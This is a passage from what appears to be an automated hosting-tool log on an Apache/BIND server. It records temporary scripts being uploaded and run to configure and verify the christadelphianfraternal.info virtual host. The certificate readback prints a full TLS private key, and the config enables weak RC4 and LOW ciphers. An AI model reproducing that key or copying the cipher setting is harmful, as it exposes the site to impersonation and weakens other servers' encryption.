    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi


2026-05-07 14:25:07: 

chmod 755 /tmp/pkp771488; /tmp/pkp771488; rm /tmp/pkp771488

2026-05-07 14:25:07: 




2026-05-07 14:25:07: 

PUT: /tmp/pkp716962

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-07 14:25:07: 

chmod 755 /tmp/pkp716962; /tmp/pkp716962; rm /tmp/pkp716962

2026-05-07 14:25:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 14:25:07: Establishing a connection
2026-05-07 14:25:08: 

PUT: /tmp/pkp967977

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-07 14:25:08: 

chmod 755 /tmp/pkp967977; /tmp/pkp967977; rm /tmp/pkp967977

2026-05-07 14:25:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 14:25:08: 

PUT: /tmp/pkp915474

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:25:08: 

chmod 755 /tmp/pkp915474; /tmp/pkp915474; rm /tmp/pkp915474

2026-05-07 14:25:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-07 14:25:08: 

PUT: /tmp/pkp490184

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:25:08: 

chmod 755 /tmp/pkp490184; /tmp/pkp490184; rm /tmp/pkp490184

2026-05-07 14:25:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	5430
b9:d8:53:a9:b8:69:fd:93:d9:c3:d4:c8:7a:c3:a1:7a

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBS6cv1CUitNdlsfzikPBbsbXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA3MTMyNjM2WhcNMjYwODA1MTMyNjM1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAOXtXRqHk9kPveL609O1RcLXCdHjT3u5tajmuuFgb95q
I+pRNcJrud8WC8Kw1xVpx0lZkZZFMitKlAetXRiRpiihAaK5Q4kzzCuFE4vgyixM
J1OsCjKdKa+gk3IvbJtNS3Cq04MOE9AQzW64hxEvGCady7CLcwHBm9DBqQ/aMIW1
4f1yHZuf8mfh+rN9EfuDHSF5sj7mWq738SPLjpMBezdgZX9xKE631krB8wlaiOoI
HeJOtjotNLIOWBlIyBzgJ5ZCRoMX0MCVne/tTkmy4Xx/F9dmJUDOPM3ygpqybnIU
yYJIvEqqfswqrDkTulpl41NCPIi9Rbz+1VvItexwE2cCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQoq+KsbMnlat5IKmAWJuaPYPQvzDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy84OC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ4C0/ZQAAAEAwBI
MEYCIQDfrqRBejVI6ESaplZMClz14BAIrKCdR/LCMj6u+q3cAgIhAOPwYba1ZcOA
HRXugtTersVYzxIvWjaci0pLjbR8oj68AH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGeAtP3wQAIAAAFAAnseasEAwBHMEUCIQCOXgkNYh+2rEPt
S9ojyMmDM8c8xNfnldtoM7hrGK3eMQIgL4ZuA9A/GozFK0PfG4s9q6GXxjIM1aL+
qPz6s9/vEQwwDQYJKoZIhvcNAQELBQADggEBAIYxBMQGk+nBo37bTRFBPKxfVZQ5
KVBuotoN5sEy3yIxfAyAsOvdUniDr/QNG/hF6soosln7G1uVi26YCVz8OKPZBKy1
nnIHgOEWSxJo6I7jHO81zMoFW6STL8orx3r+KVAyYBBV5qn2YNpg1/JsmtDWlpQh
jf9xQulDhhL49R1/r5XY15uNBb1gmRmSfuEN0vEEuNBNsx26HJyqWwkWf1AGmARS
lwvjPEGQQd3ms+YoL0NR7BFRUKJhn0UmZzk2rqAhO7he2auMC1kzhoBIV9BNbUIj
ownnNmkLVdlmSptbWWqwGayFZOEu6Do6lmym+8lTodLiswc5Q0vr58vyUs8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDl7V0ah5PZD73i
+tPTtUXC1wnR4097ubWo5rrhYG/eaiPqUTXCa7nfFgvCsNcVacdJWZGWRTIrSpQH
rV0YkaYooQGiuUOJM8wrhROL4MosTCdTrAoynSmvoJNyL2ybTUtwqtODDhPQEM1u
uIcRLxgmncuwi3MBwZvQwakP2jCFteH9ch2bn/Jn4fqzfRH7gx0hebI+5lqu9/Ej
y46TAXs3YGV/cShOt9ZKwfMJWojqCB3iTrY6LTSyDlgZSMgc4CeWQkaDF9DAlZ3v
7U5JsuF8fxfXZiVAzjzN8oKasm5yFMmCSLxKqn7MKqw5E7paZeNTQjyIvUW8/tVb
yLXscBNnAgMBAAECggEABtYGUR4bzrXRmviDKMW4c8EJ+TQNbmvIk2N8xeukl9PH
CpXsh8HFLnVM1zaDxo61DqC7m+Cly7S1bv8ACBV4f7e9wTVJ5T/lf5u+x4dg620+
NBYm3XdfwGmBSMFRNNLY/doOXNSj0SlWukaBOYkRakCByFd1DWXQuKWxXZfKnocJ
6fLknnQ1BIYS+PMd6ju7EwxBJgfbCuOxMs699ohx4IDqI3B5u13fwUO8Gy+8QpS4
NPPaQsB9qx7IHiWYmQUE5Qrspi3ZADtDp9KVKkqjZMY+ttanFIOKJiy/H5RCuKV+
rWDDHC6ZdklIz+weWUbbPt5pslEkPkEGfOKmk/v4WQKBgQD2Fjhk24lg9fKufTPU
b2Q4N/UK3OfYP7ReCpduVk6UZIqntw+1GVkaIu1X8X8rvtqI5s7dw4Ff5YJfNXaV
Qd/kFxv/WZ+7fMcC4j5B1MbBPuHSpL5vkGfCCoaM+bx1/tDnC5WO8pBxKm8Pd2E/
vnsHy84lsQ5ZLkJ38ZILcIgjDwKBgQDvMH825fMIYdQJROxvn75Jg9miBjj3IuZH
8oTkF9ukaotLTTGrdg/0b1602sjYj8EnMHBhSQxXtSrIfBDm5pzzBDLdlQGu6DK8
BOpep0SWkAn9x7oMYUq8fhCsu+jbwVgTOTh3hGqBqHd6LPsIUcpWV72W6S2za2yV
ZVWLuP4qKQKBgEkFqPBMsMRD1yJt5o5YC34fJKh3ipiBtszdCbhlBeZEu1wvFwsf
HXCDArjA4YKinIhZLPNjSyWgngIQhEKgDIbLULSB7MMesJMrfVvdfqjjNvFhj1zd
ldxfcTOt+31sAqM8rcGAOtpJxDDrtMDMjgdvM5m9o0tVTcX3ueWJG+yDAoGAVGF3
f5Z/tmVMuDhocLiaGLU7Ab3QOt9E/fzAhPcltUsg+N+ythpgZosjjgng8QVFzt13
x9pNUGPJRBEApXSVyeWhTCpU/a9MtqfFRr8bo0INREpBiDyKcRTILSfdbik3ORDm
qsM8D6GvBJr5tGWmS++IIsUAKlurYsjs9O2+PIECgYBDmcDEvEw22YF0VRDkzBx3
EdZW1gva6sUl+pkCA6kEy5uWINt7UxOL4FQcFlvEV8FnNbFoCVeZjW3CmabIaNJb
lnDUdG/wRIY01ZzTtnwfVnwvk3PrWjcjjK6xQjjMn2eYt6jh5PtntGrRvaUD56LA
Kjj50JXNcoxrXYc+srH4AA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-07 14:25:56: Establishing a connection
2026-05-07 14:25:56: 

PUT: /tmp/pkp182805

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 14:25:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp182805; rm /tmp/pkp182805'

2026-05-07 14:25:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
